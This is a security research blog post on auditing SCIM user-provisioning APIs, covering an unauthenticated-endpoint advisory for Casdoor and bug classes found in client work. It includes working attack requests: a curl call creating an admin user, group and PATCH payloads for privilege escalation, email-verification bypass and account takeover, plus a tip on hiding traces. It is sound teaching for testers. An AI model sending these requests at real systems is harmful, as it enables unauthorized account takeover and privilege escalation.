08 May 2025 - Posted by Francesco Lacerenza
Single Sign-On (SSO) related bugs have gotten an incredible amount of hype and a lot of amazing public disclosures in recent years. Just to cite a few examples:
And so on - there is a lot of gold out there.
Not surprisingly, systems using a custom implementation are the most affected since integrating SSO with a platform’s User object model is not trivial.
However, while SSO often takes center stage, another standard is often under-tested - SCIM (System for Cross-domain Identity Management). In this blogpost we will dive into its core aspects & the insecure design issues we often find while testing our clients’ implementations.
SCIM is a standard designed to automate the provisioning and deprovisioning of user accounts across systems, ensuring access consistency between the connected parts.
The standard is defined in the following RFCs: RFC7642, RFC7644, RFC7643.
While it is not specifically designed to be an IdP-to-SP protocol, rather a generic user pool syncing protocol for cloud environments, real-world scenarios mostly embed it in the IdP-SP relationship.
To make a long story short, the standard defines a set of RESTful APIs exposed by the Service Providers (SP) which should be callable by other actors (mostly Identity Providers) to update the users pool.
It provides REST APIs with the following set of operations to edit the managed objects (see scim.cloud):
https://example-SP.com/{v}/{resource}
https://example-SP.com/{v}/{resource}/{id}
https://example-SP.com/{v}/{resource}/{id}
https://example-SP.com/{v}/{resource}/{id}
https://example-SP.com/{v}/{resource}/{id}
https://example-SP.com/{v}/{resource}?<SEARCH_PARAMS>
https://example-SP.com/{v}/Bulk
So, we can summarize SCIM as a set APIs usable to perform CRUD operations on a set of JSON encoded objects representing user identities.
Core Functionalities
If you want to look into a SCIM implementation for bugs, here is a list of core functionalities that would need to be reviewed during an audit:
& ||
safety checks.internal
attributes that should not be user-controlled, platform-specific attributes not allowed in SCIM, etc.email
update should trigger a confirmation flow / flag the user as unconfirmed, username
update should trigger ownership / pending invitations / re-auth checks and so on.As direct IdP-to-SP communication, most of the resulting issues will require a certain level of access either in the IdP or SP. Hence, the complexity of an attack may lower most of your findings. Instead, the impact might be skyrocketing in Multi-tenant Platforms where SCIM Users may lack tenant-isolation logic common.
The following are some juicy examples of bugs you should look for while auditing SCIM implementations.
A few months ago we published our advisory for an Unauthenticated SCIM Operations In Casdoor IdP Instances. It is an open-source identity solution supporting various auth standards such as OAuth, SAML, OIDC, etc. Of course SCIM was included, but as a service, meaning the Casdoor (IdP) would also allow external actors to manipulate its users pool.
Casdoor utilized the elimity-com/scim library, which, by default, does not include authentication in its configuration as per the standard. Consequently, a SCIM server defined and exposed using this library remains unauthenticated.
server := scim.Server{
Config: config,
ResourceTypes: resourceTypes,
}
Exploiting an instance required emails matching the configured domains. A SCIM POST operation was usable to create a new user matching the internal email domain and data.
➜ curl --path-as-is -i -s -k -X $'POST' \
-H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
--data-binary $’{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":
\"[email protected]\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",
\"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":
\"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \
$'https://<CASDOOR_INSTANCE>/scim/Users'
Then, authenticate to the IdP dashboard with the new admin user admin2:12345678
.
Note: The maintainers released a new version (v1.812.0), which includes a fix.
While that was a very simple yet critical issue, bypasses could be found in authenticated implementations. In other cases the service could be available only internally and unprotected.
[*] IdP-Side Issues
Since SCIM secrets allow dangerous actions on the Service Providers, they should be protected from extractions happening after the setup. Testing or editing an IdP SCIM integration on a configured application should require a new SCIM token in input, if the connector URL differs from the one previously set.
A famous IdP was found to be issuing the SCIM integration test requests to /v1/api/scim/Users?startIndex=1&count=1
with the old secret while accepting a new baseURL
.
+1 Extra - Covering traces: Avoid logging errors by mocking a response JSON with the expected data for a successful SCIM integration test.
An example mock response’s JSON for a Users
query:
{
"Resources": [
{
"externalId": "<EXTID>",
"id": "[email protected]",
"meta": {
"created": "2024-05-29T22:15:41.649622965Z",
"location": "/Users/[email protected]",
"version": "<VERSION"
},
"schemas": [
"urn:ietf:params:scim:schemas:core:2.0:User"
],
"userName": "[email protected]"
}
],
"itemsPerPage": 2,
"schemas": [
"urn:ietf:params:scim:api:messages:2.0:ListResponse"
],
"startIndex": 1,
"totalResults": 8
}
[*] SP-Side Issues
The SCIM token creation & read should be allowed only to highly privileged users. Target the SP endpoints used to manage it and look for authorization issues or target it with a nice XSS or other vulnerabilities to escalate the access level in the platform.
Since ~real-time user access management is the core of SCIM, it is also worth looking for fallbacks causing a deprovisioned user to be back with access to the SP.
As an example, let’s look at the update_scimUser
function below.
def can_be_reprovisioned?(usrObj)
return true if usrObj.respond_to?(:active) && !usrObj.active?
false
def update_scimUser(usrObj)
# [...]
if parser.deprovision_user?
# [...]
# (o)__(o)'
elsif can_be_reprovisioned?(usrObj)
reprovision(usrObj)
else
true
end
end
Since respond_to?(:active)
is always true
for SCIM identities. If the user is not active, the condition !identity.active?
will always be true and cause the re-provisioning.
Consequently, any SCIM update request (e.g., change lastname) will fallback to re-provisioning if the user was not active for any reason (e.g., logical ban, forced removal).
While outsourcing identity syncing to SCIM, it becomes critical to choose what will be copied from the SCIM objects into the new internal ones, since bugs may arise from an “excessive” attribute allowance.
[*] Example 1 - Privesc To Internal Roles
A client supported Okta Groups and Users to be provisioned and updated via SCIM endpoints.
It converted Okta Groups into internal roles with custom labeling to refer to “Okta resources”. In particular, the function resource_to_access_map
constructed an unvalidated access mapping from the supplied SCIM group resource.
[...]
group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())
var role_list []string
// (o)__(o)'
if resource.Id != "" {
role_list = []string{resource.Id}
}
//...
return access_map, nil, nil
The implementation issue resided in the fact that the role names in role_list
were constructed on an Id
attribute (urn:ietf:params:scim:schemas:core:2.0:Group
) passed from a third-party source.
Later, another function upserted the Role
objects, constructed from the SCIM event, without further checks. Hence, it was possible to overwrite any existing resource in the platform by matching its name in a SCIM Group ID.
As an example, if the SCIM Group resource ID was set to an internal role name, funny things happened.
POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
"schemas": [“urn:ietf:params:scim:schemas:core:2.0:Group"],
"id":"superadmin",
"displayName": "TEST_NAME",
"members": [{
"value": "[email protected]",
"display": "[email protected]"
}]
}
The platform created an access map named TEST_NAME
, granting the superadmin
role to members.
[*] Example 2 - Mass Assignment In SCIM-To-User Mapping
Other internal attributes manipulation may be possible depending on the object mapping strategy. A juicy example could look like the one below.
SSO_user.update!(
external_id: scim_data["externalId"],
# (o)__(o)'
userData: Oj.load(scim_req_body),
)
Even if Oj
defaults are overwritten (sorry, no deserialization) it could still be possible to put any data in the SCIM request and have it accessible through userData
. The logic is assuming it will only contain SCIM attributes.
This category contains all the bugs arising from required internal user-management processes not being applied to updates caused by SCIM events (e.g., email
/ phone
/ userName
verification).
An interesting related finding is Gitlab Bypass Email Verification (CVE-2019-5473). We have found similar cases involving the bypass of a code verification processes during our assessments as well.
[*] Example - Same-Same But With Code Bypass
A SCIM email change did not trigger the typical confirmation flow requested with other email change operations.
Attackers could request a verification code to their email, change the email to a victim one with SCIM, then redeem the code and thus verify the new email address.
PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205
{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
"Operations": [
{
"op": "replace",
"value": {
"userName": "<VICTIM_ADDRESS>"
}
}
]
}
In multi-tenant platforms, the SSO-SCIM identity should be linked to an underlying user object. While it is not part of the RFCs, the management of user attributes such as userName
and email
is required to eventually trigger the platform’s processes for validation and ownership checks.
A public example case where things did not go well while updating the underlying user is CVE-2022-1680 - Gitlab Account take over via SCIM email change. Below is a pretty similar instance discovered in one of our clients.
[*] Example - Same-Same But Different
A client permitted SCIM operations to change the email of the user and perform account takeover.
The function set_username
was called every time there was a creation or update of SCIM users.
#[...]
underlying_user = sso_user.underlying_user
sso_user.scim["userName"] = new_name
sso_user.username = new_name
tenant = Tenant.find(sso_user.id)
underlying_user&.change_email!(
new_name,
validate_email: tenant.isAuthzed?(new_name)
)
def underlying_user
return nil if !tenant.isAuthzed?(self.username)
# [...]
# (o)__(o)'
@underlying_user = User.find_by(email: self.username)
end
The underlying_user
should be nil
, hence blocking the change, if the organization is not entitled to manage the user according to isAuthzed
. In our specific case, the authorization function did not protect users in a specific state from being taken over. SCIM could be used to forcefully change the victim user’s email and take over the account once it was added to the tenant. If combined with the classic “Forced Tenant Join” issue, a nice chain could have been made.
Moreover, since the platform did not protect against multi-SSO context-switching, once authenticated with the new email, the attacker could have access to all other tenants the user was part of.
As per rfc7644, the Path attribute is defined as:
The “path” attribute value is a String containing an attribute path describing the target of the operation. The “path” attribute is OPTIONAL for “add” and “replace” and is REQUIRED for “remove” operations.
As the path
attribute is OPTIONAL, the nil
possibility should be carefully managed when it is part of the execution logic.
def exec_scim_ops(scim_identity, operation)
path = operation["path"]
value = operation["value"]
case path
when "members"
# [...]
when "externalId"
# [...]
else
# semi-Catch-All Logic!
end
end
Putting a catch-all default could allow another syntax of PatchOp
messages to still hit one of the restricted cases while skipping the checks. Here is an example SCIM request body that would skip the externalId
checks and edit it within the context above.
{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
"Operations": [
{
"op": "replace",
"value": {
"externalId": "<ID_INJECTION>"
}
}
]
}
The value
of an op
is allowed to contain a dict of <Attribute:Value>
.
Since bulk operations may be supported (currently very few cases), there could be specific issues arising in those implementations:
Race Conditions - the ordering logic could not include reasoning about the extra processes triggered in each step
Missing Circular References Protection - The RFC7644 is explicitly talking about Circular Reference Processing (see example below).
Since SCIM adopts JSON for data representation, JSON interoperability attacks could lead to most of the issues described in the hunting list. A well-known starting point is the article: An Exploration of JSON Interoperability Vulnerabilities .
Once the parsing lib used in the SCIM implementation is discovered, check if other internal logic is relying on the stored JSON serialization while using a different parser for comparisons or unmarshaling.
Despite being a relatively simple format, JSON parser differentials could lead to interesting cases - such as the one below:
As an extension of SSO, SCIM has the potential to enable critical exploitations under specific circumstances. If you’re testing SSO, SCIM should be in scope too!
Finally, most of the interesting vulnerabilities in SCIM implementations require a deep understanding of the application’s authorization and authentication mechanisms. The real value lies in identifying the differences between SCIM objects and the mapped internal User objects, as these discrepancies often lead to impactful findings.